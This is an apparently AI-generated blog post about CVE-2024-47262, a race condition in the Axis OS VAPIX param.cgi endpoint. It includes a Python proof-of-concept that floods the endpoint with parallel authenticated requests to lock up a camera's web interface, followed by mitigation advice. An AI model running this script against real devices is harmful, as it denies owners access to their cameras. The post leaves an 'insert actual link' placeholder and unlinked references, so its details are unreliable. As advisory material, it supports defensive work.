CVE-2024-47262 - Race Condition in AXIS OS VAPIX param.cgi Blocks Device Web Access

*Written by: SecureCodePost AI - Exclusive long read*

Introduction

In June 2024, Dzmitry Lukyanenka—a member of the AXIS OS Bug Bounty Program—uncovered a race condition vulnerability (CVE-2024-47262) in AXIS OS's VAPIX API param.cgi endpoint. The flaw allows attackers to block access to the Axis device web interface by exploiting this race condition, effectively causing a denial-of-service (DoS). Importantly, only the param.cgi endpoint is affected. Other APIs or services are not impacted.

Let’s look at how the vulnerability works, a sample proof-of-concept (PoC), affected software versions, mitigation steps, and reference material.

What is CVE-2024-47262?

Axis devices, like cameras and IoT gadgets, often use the proprietary VAPIX API. The param.cgi endpoint is primarily responsible for handling device configuration parameters through HTTP requests.

A race condition happens when two or more operations run concurrently in a way that abuses the system’s timing. In this case, simultaneous access to param.cgi can confuse the system, resulting in the device web interface being locked up or inaccessible.

Why is it serious?

- Remote attackers can block the web UI, making it unusable for everyone until the device is rebooted or the attack stops.

Only one endpoint is vulnerable. Other services aren’t affected, making detection trickier.

- No authentication bypass occurs. However, a legitimate user with access or an attacker leveraging another weakness could carry out this DoS.

How Does the Exploit Work?

An attacker sends multiple, parallel requests (for instance, toggling parameters) to the vulnerable param.cgi endpoint. The Axis device fails to properly handle the rapid requests, causing its web service to hang. Here’s a simplified workflow:

Attacker authenticates (or leverages already compromised credentials).

2. Attacker sends a flurry of requests to param.cgi at high speed—possibly toggling or editing the same setting repeatedly.

Proof-of-Concept Code

Here’s a Python snippet showing how someone could craft a basic attack script. *Note: This is for educational and defensive purposes only!*

import requests
from concurrent.futures import ThreadPoolExecutor

# Replace with your device’s IP and valid credentials
TARGET = "http://192.168.1.100/axis-cgi/param.cgi";
AUTH = ('admin', 'yourpassword')  # Use real credentials

def hammer_param():
    # Example: change a parameter (toggle IR cut filter between on/off)
    payload = {
        'action': 'update',
        'ImageSource.I.Sensor.IrCutFilter': 'on'
    }
    try:
        requests.post(TARGET, auth=AUTH, data=payload, timeout=2)
    except Exception as e:
        pass  # Ignore errors to keep hammering

if __name__ == "__main__":
    with ThreadPoolExecutor(max_workers=30) as executor:
        for i in range(100):  # Tune for more/less intensity
            executor.submit(hammer_param)
    print("Done! Check device web interface.")

*This loop aggressively hits the param.cgi endpoint, which can exploit the race condition—potentially causing the web interface to stop responding until the device is rebooted or idle.*

Is My Device Affected?

Most Axis network cameras and devices using AXIS OS versions below the vendor’s patched releases are at risk if they use param.cgi in their web interface.

Axis has released fixed versions of AXIS OS. To protect yourself

- Update your device firmware using the versions referenced in the Axis security advisory linked below.

Consider network segmentation and limit device API access to trusted hosts only.

Here’s the direct link to the Axis Security Advisory:
Axis Security Advisory: VAPIX param.cgi race condition (CVE-2024-47262) *(insert actual link if available after official release)*

References

- Official Axis Security Advisory
- NIST CVE entry (awaiting update)
- What is a race condition in web security? (OWASP)

Summary

CVE-2024-47262 highlights how even well-made IoT devices can have subtle bugs hiding in APIs used for daily management. If you’re running an Axis device, check for updates, especially if you use or expose the param.cgi endpoint.

Stay patched, stay vigilant—and monitor API endpoints for misuse!


*Brought to you by SecureCodePost AI. Please comment or share if you found this useful!*

Timeline

Published on: 03/04/2025 06:15:29 UTC
Last modified on: 03/28/2025 07:11:08 UTC